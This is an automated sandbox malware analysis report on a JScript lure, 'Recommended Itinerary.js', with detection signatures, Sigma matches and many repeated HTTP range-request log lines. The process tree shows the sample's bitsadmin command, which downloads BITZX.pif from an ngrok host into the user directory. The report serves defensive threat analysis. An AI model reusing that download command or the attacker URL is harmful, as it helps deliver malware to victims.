Edit tour

Windows Analysis Report
Recommended Itinerary.js

Overview

General Information

Sample name:	Recommended Itinerary.js
Analysis ID:	1591878
MD5:	2ab57baa99c326f20bd5e4c54ac06101
SHA1:	14af56dfef77feabd764d5536430c1147c41f8e7
SHA256:	6133b095486178e20e11f97ab8d3efb1b9a51be55a0128d0280951954b7c897f
Infos:

Detection

Score:	72
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Benign windows process drops PE files

Drops PE files to the user root directory

JavaScript file contains Antivirus product strings

Sigma detected: Suspicious Process Parents

Sigma detected: WScript or CScript Dropper

Tries to download files via bitsadmin

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Creates a process in suspended mode (likely to inject code)

Drops PE files

Drops PE files to the user directory

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

PE file does not import any functions

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Classification

Process Tree

System is w10x64native

wscript.exe (PID: 8428 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Recommended Itinerary.js" MD5: 0639B0A6F69B3265C1E42227D650B7D1)

bitsadmin.exe (PID: 8588 cmdline: "C:\Windows\System32\bitsadmin.exe" /transfer 8 https://090125.ngrok-free.app//BITZX.pif C:\Users\user\BITZX.pif MD5: 01AAB62D5799F75B0D69EB29C1CA6855)

conhost.exe (PID: 8596 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

svchost.exe (PID: 8660 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: F586835082F632DC8D9404D83BC16316)

cleanup

Sigma Signatures

System Summary

Sigma detected: Suspicious Process Parents

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1, CommandLine: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1, CommandLine|base64offset|contains: }}, Image: C:\Windows\System32\conhost.exe, NewProcessName: C:\Windows\System32\conhost.exe, OriginalFileName: C:\Windows\System32\conhost.exe, ParentCommandLine: "C:\Windows\System32\bitsadmin.exe" /transfer 8 https://090125.ngrok-free.app//BITZX.pif C:\Users\user\BITZX.pif, ParentImage: C:\Windows\System32\bitsadmin.exe, ParentProcessId: 8588, ParentProcessName: bitsadmin.exe, ProcessCommandLine: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1, ProcessId: 8596, ProcessName: conhost.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Recommended Itinerary.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Recommended Itinerary.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 5004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Recommended Itinerary.js", ProcessId: 8428, ProcessName: wscript.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Recommended Itinerary.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Recommended Itinerary.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 5004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Recommended Itinerary.js", ProcessId: 8428, ProcessName: wscript.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 864, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8660, ProcessName: svchost.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Source: unknown

HTTPS traffic detected: 3.13.191.225:443 -> 192.168.11.20:49757 version: TLS 1.2

Source: Joe Sandbox View

IP Address: 3.13.191.225 3.13.191.225

Source: Joe Sandbox View

ASN Name: AMAZON-02US AMAZON-02US

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=0-1119User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=1120-1289User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=1290-2588User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=2589-2748User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=2749-2817User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=2818-2998User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=2999-3377User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=3378-3816User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=3817-3931User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=3932-4178User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=4179-4414User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=4415-4562User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=4563-4720User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=4721-5107User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=5108-5419User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=5420-5546User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=5547-5697User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=5698-5735User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=5736-5810User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=5811-5991User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=5992-6047User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=6048-6126User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=6127-6166User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=6167-6557User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=6558-6671User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=6672-6918User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=6919-7068User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=7069-7124User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=7125-7243User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=7244-7511User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=7512-7686User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=7687-7812User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=7813-7926User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=7927-8321User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=8322-8400User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=8401-8549User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=8550-8601User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=8602-8708User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=8709-8981User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=8982-9527User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=9528-10090User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=10091-10309User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=10310-10485User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=10486-10804User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=10805-10963User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=10964-11222User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=11223-11347User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=11348-11608User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=11609-11728User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=11729-11982User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=11983-11995User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=11996-12037User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=12038-12148User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=12149-12259User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=12260-12386User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=12387-12605User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=12606-13081User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=13082-13124User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=13125-13127User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=13128-13328User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=13329-13717User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=13718-13793User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=13794-13808User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=13809-14031User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=14032-14180User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=14181-14287User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=14288-14533User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=14534-14619User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=14620-14672User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=14673-14692User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=14693-15056User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=15057-15590User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=15591-15632User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=15633-15830User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=15831-16071User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=16072-16172User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=16173-16740User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=16741-16816User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=16817-16913User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=16914-17071User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=17072-17522User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=17523-17603User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=17604-17740User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=17741-18217User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=18218-18221User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
